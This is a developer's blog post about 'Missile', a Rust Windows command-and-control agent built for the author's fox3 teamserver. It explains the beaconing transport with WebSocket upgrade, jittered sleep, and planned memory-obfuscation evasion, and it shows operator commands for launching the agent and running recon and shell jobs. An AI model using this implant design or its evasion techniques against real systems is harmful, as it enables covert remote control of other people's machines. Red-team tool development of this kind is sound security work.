I’ve been building fox3 for a while — a Go teamserver with a React dashboard that manages agents, dispatches jobs, and streams results in real time. The missing piece was always an agent that actually pushed it. The original test harness was fine for shaking out the protocol, but not something you’d use seriously.
So I wrote one. I’m calling it Missile.
What it is
Missile is a Windows C2 agent in Rust. No runtime, no heavy dependencies, single static binary that speaks the fox3 wire protocol and beacons on a configurable sleep interval. The whole thing strips to under 2MB.
It’s not trying to be a production implant right now. The goal was something that fully exercises the server — every transport path, every job type, the tunnel relay — so I can keep building both sides together without guessing whether things actually work end to end.
The transport: HTTP with automatic WSS upgrade
This is the part I spent the most time on and the thing I’m most happy with, so I’ll explain it properly.
Most HTTP beacons work like this: agent wakes up, POSTs to the server, reads the response, goes back to sleep. It’s simple and reliable but there’s an inherent latency floor — any job you send to the agent sits queued until the agent’s next wake. For interactive operations like SOCKS proxying or file transfers that’s painful.
Missile does something different. On first contact it tries to promote the HTTP connection to a WebSocket:
Missile fox3 HTTP listener (same port)
│ │
├── HTTP POST / ─────────────────────►│ initial checkin (HTTPS fallback)
│◄──────────────────────────────────-─┤ authenticated, session JWT issued
│ │
├── GET / (Upgrade: websocket) ───────►│ upgrade request, same URL, same port
│◄──────────────────────────────────-─┤ 101 Switching Protocols
│ │
├── Binary frame (JWE) ──────────────►│ all subsequent checkins
│◄──────────────────────────────────-─┤ binary frame response
│ │
│ [server has a job for the agent] │
│◄── Binary frame (server push) ──────┤ delivered immediately, no polling
No separate listener, no configuration change needed — the same port that handles regular POST checkins also handles the WebSocket upgrade. If the upgrade works, you get:
- No per-checkin TLS handshake — the connection is already established, subsequent checkins are just binary frames on the existing socket
- Server push — when the server has a job ready (a SOCKS packet, a reverse port-forward chunk, a queued command), it pushes a binary frame immediately instead of waiting for the agent to ask. The agent listens on the socket via
WSAEventSelectso a kernel event fires the moment data arrives, waking it out of sleep instantly - Proxy tunneling — the upgrade goes through HTTP CONNECT proxies too, so it works in environments where outbound traffic is proxied
If the upgrade fails for any reason — server doesn’t support it, network blocked — Missile falls back to plain HTTPS POST with no visible difference to the operator. If an established WebSocket drops, the next checkin retries the upgrade automatically before falling through to HTTP.
The startup output tells you which path you’re on:

(WSS auto-upgrade enabled) is a flag, not a confirmation — it means Missile will attempt the upgrade on first contact. Once it succeeds, the transport.kind() field switches from "https" to "wss". That’s what the server-side push machinery reads to decide whether to push immediately or wait for polling.
Encrypted sleep
While Missile is sleeping between checkins it’s not just calling Sleep(). The current implementation uses an interruptible condvar with jitter — actual sleep duration is the base interval ±jitter%, randomised each cycle so beacon intervals aren’t uniform. The WSS push path can wake the sleep early via a kernel event (WSAEventSelect) when the server pushes, so tunnel traffic doesn’t have to wait.
The architecture in agent.rs has hooks for replacing the sleep with proper memory obfuscation — Ekko-style or an NtDelayExecution direct syscall variant — while keeping the same interrupt interface. That’s a production concern for later; the sleep structure is already built around it.
Checking in
Drop the binary, point it at a listener:
missile.exe --url http://10.0.0.1:9001/ --psk <key> --sleep 60s --jitter 20
It generates a UUID that persists for the process lifetime and shows up in the dashboard a few seconds later:

Hit Interact and you get a terminal. Anything you type queues as a job and returns on the next checkin (or immediately if WSS push is active).
Basic recon
$ whoami
USER INFORMATION
----------------
DESKTOP-09M8R37\null
SID: S-1-5-21-3075911037-2671532851-2821456086-1002
$ ifconfig
Windows IP Configuration
Host Name . . . : DESKTOP-09M8R37
...
$ pwd
C:\Users\null\repo_fox3
Results land in the terminal with timestamps and a COMPLETE badge. The full job history for the session is scrollable in one place:

Processes, file system, execution
$ ps # full process list — PID, name, user, memory
$ ls C:\ # directory listing with sizes and timestamps
$ run ipconfig /all # direct process spawn, no shell
$ shell dir C:\Windows # via cmd.exe /c
$ sleep 120s --jitter 30 # adjust beacon interval live
ps uses CreateToolhelp32Snapshot. run spawns directly without a shell. shell goes through cmd.exe /c — useful when you need pipe operators or built-ins.
Beacon interval changes are picked up on the next checkin — no restart needed.
The server view
Three active listeners during this session, two running over HTTP:

The topology graph shows the full picture of what’s connected through what:

Each node is labelled with the listener name and protocol. As agents come and go, or as you add listeners, the graph updates in real time via the WebSocket push from the server.
What’s next
There’s a chunk of functionality that needs a more interesting environment — things that only make sense once you’re operating inside a network rather than on a standalone box. I’ll cover those separately.
For now: Missile beacons reliably, runs jobs, handles the WSS upgrade cleanly, and gives the tunnel relay something real to work with. Good enough baseline to keep building on.
Source: github.com/nzyuko/missile